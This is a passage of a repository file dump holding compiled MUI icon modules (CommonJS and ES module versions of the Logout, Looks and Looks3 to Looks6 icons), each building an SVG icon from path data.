    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h7V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5zm16 7-4-4v3H9v2h8v3z\"\n}), 'LogoutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LogoutTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h7V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h7v-2H5zm16 7-4-4v3H9v2h8v3z\"\n}), 'LogoutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c-3.86 0-7 3.14-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.86-3.14-7-7-7m0-4C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'Looks');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c-3.86 0-7 3.14-7 7h2c0-2.76 2.24-5 5-5s5 2.24 5 5h2c0-3.86-3.14-7-7-7m0-4C5.93 6 1 10.93 1 17h2c0-4.96 4.04-9 9-9s9 4.04 9 9h2c0-6.07-4.93-11-11-11\"\n}), 'Looks');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.01 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 7.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V15c0 1.11-.9 2-2 2h-4v-2h4v-2h-2v-2h2V9h-4V7h4c1.1 0 2 .89 2 2z\"\n}), 'Looks3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.01 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 7.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V15c0 1.11-.9 2-2 2h-4v-2h4v-2h-2v-2h2V9h-4V7h4c1.1 0 2 .89 2 2z\"\n}), 'Looks3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.11-.9-2-2-2H9v2h4v2h-2v2h2v2H9v2h4c1.1 0 2-.89 2-2\"\n}), 'Looks3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.11-.9-2-2-2H9v2h4v2h-2v2h2v2H9v2h4c1.1 0 2-.89 2-2\"\n}), 'Looks3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5.01c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3.99 7.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V15c0 1.11-.9 2-2 2H10c-.55 0-1-.45-1-1s.45-1 1-1h3.01L13 13h-1c-.55 0-1-.45-1-1s.45-1 1-1h1l.01-2H10c-.55 0-.99-.45-.99-1s.44-1 .99-1h3.01c1.1 0 2 .9 2 2z\"\n}), 'Looks3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5.01c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2H19c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3.99 7.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V15c0 1.11-.9 2-2 2H10c-.55 0-1-.45-1-1s.45-1 1-1h3.01L13 13h-1c-.55 0-1-.45-1-1s.45-1 1-1h1l.01-2H10c-.55 0-.99-.45-.99-1s.44-1 .99-1h3.01c1.1 0 2 .9 2 2z\"\n}), 'Looks3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3.01v18H21zm-5.99 14H9v-2h4v-2h-2v-2h2V9H9V7h6.01z\"\n}), 'Looks3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3.01v18H21zm-5.99 14H9v-2h4v-2h-2v-2h2V9H9V7h6.01z\"\n}), 'Looks3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm4-4h4v-2h-2v-2h2V9H9V7h4c1.1 0 2 .89 2 2v1.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V15c0 1.11-.9 2-2 2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.11-.9-2-2-2H9v2h4v2h-2v2h2v2H9v2h4c1.1 0 2-.89 2-2\"\n}, \"1\")], 'Looks3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm4-4h4v-2h-2v-2h2V9H9V7h4c1.1 0 2 .89 2 2v1.5c0 .83-.67 1.5-1.5 1.5.83 0 1.5.67 1.5 1.5V15c0 1.11-.9 2-2 2H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.11-.9-2-2-2H9v2h4v2h-2v2h2v2H9v2h4c1.1 0 2-.89 2-2\"\n}, \"1\")], 'Looks3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 14h-2v-4H9V7h2v4h2V7h2z\"\n}), 'Looks4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 14h-2v-4H9V7h2v4h2V7h2z\"\n}), 'Looks4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-14V5h14zm-6-2h2V7h-2v4h-2V7h-2v6h4z\"\n}), 'Looks4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-14V5h14zm-6-2h2V7h-2v4h-2V7h-2v6h4z\"\n}), 'Looks4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 14c-.55 0-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v3h2V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'Looks4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 14c-.55 0-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v3h2V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'Looks4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.04 3h-18v18h18zm-6 14h-2v-4h-4V7h2v4h2V7h2z\"\n}), 'Looks4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.04 3h-18v18h18zm-6 14h-2v-4h-4V7h2v4h2V7h2z\"\n}), 'Looks4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.04 19h14V5h-14zm4-12h2v4h2V7h2v10h-2v-4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-14V5h14zm-6-2h2V7h-2v4h-2V7h-2v6h4z\"\n}, \"1\")], 'Looks4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.04 19h14V5h-14zm4-12h2v4h2V7h2v10h-2v-4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-14V5h14zm-6-2h2V7h-2v4h-2V7h-2v6h4z\"\n}, \"1\")], 'Looks4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 6h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2H9v-2h4v-2H9V7h6z\"\n}), 'Looks5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 6h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2H9v-2h4v-2H9V7h6z\"\n}), 'Looks5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4v-2c0-1.11-.9-2-2-2h-2V9h4V7H9v6h4v2H9v2h4c1.1 0 2-.89 2-2\"\n}), 'Looks5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4-4v-2c0-1.11-.9-2-2-2h-2V9h4V7H9v6h4v2H9v2h4c1.1 0 2-.89 2-2\"\n}), 'Looks5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 6h-3v2h2c1.1 0 2 .9 2 2v2c0 1.11-.9 2-2 2h-3c-.55 0-1-.45-1-1s.45-1 1-1h3v-2h-3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'Looks5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 6h-3v2h2c1.1 0 2 .9 2 2v2c0 1.11-.9 2-2 2h-3c-.55 0-1-.45-1-1s.45-1 1-1h3v-2h-3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'Looks5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-6 6h-4v2h4v6H9v-2h4v-2H9V7h6z\"\n}), 'Looks5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-6 6h-4v2h4v6H9v-2h4v-2H9V7h6z\"\n}), 'Looks5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5v14h14zm-4 4h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2H9v-2h4v-2H9V7h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5zm4 8h4v2H9v2h4c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V9h4V7H9z\"\n}, \"1\")], 'Looks5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks5TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5v14h14zm-4 4h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2H9v-2h4v-2H9V7h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 21h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 5h14v14H5zm4 8h4v2H9v2h4c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V9h4V7H9z\"\n}, \"1\")], 'Looks5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v-2h-2zm8-12H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 6h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2V9c0-1.11.9-2 2-2h4z\"\n}), 'Looks6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v-2h-2zm8-12H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4 6h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2V9c0-1.11.9-2 2-2h4z\"\n}), 'Looks6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V9h4V7h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2zm8-10H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'Looks6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V9h4V7h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2zm8-10H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}), 'Looks6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Looks6Rounded.js",
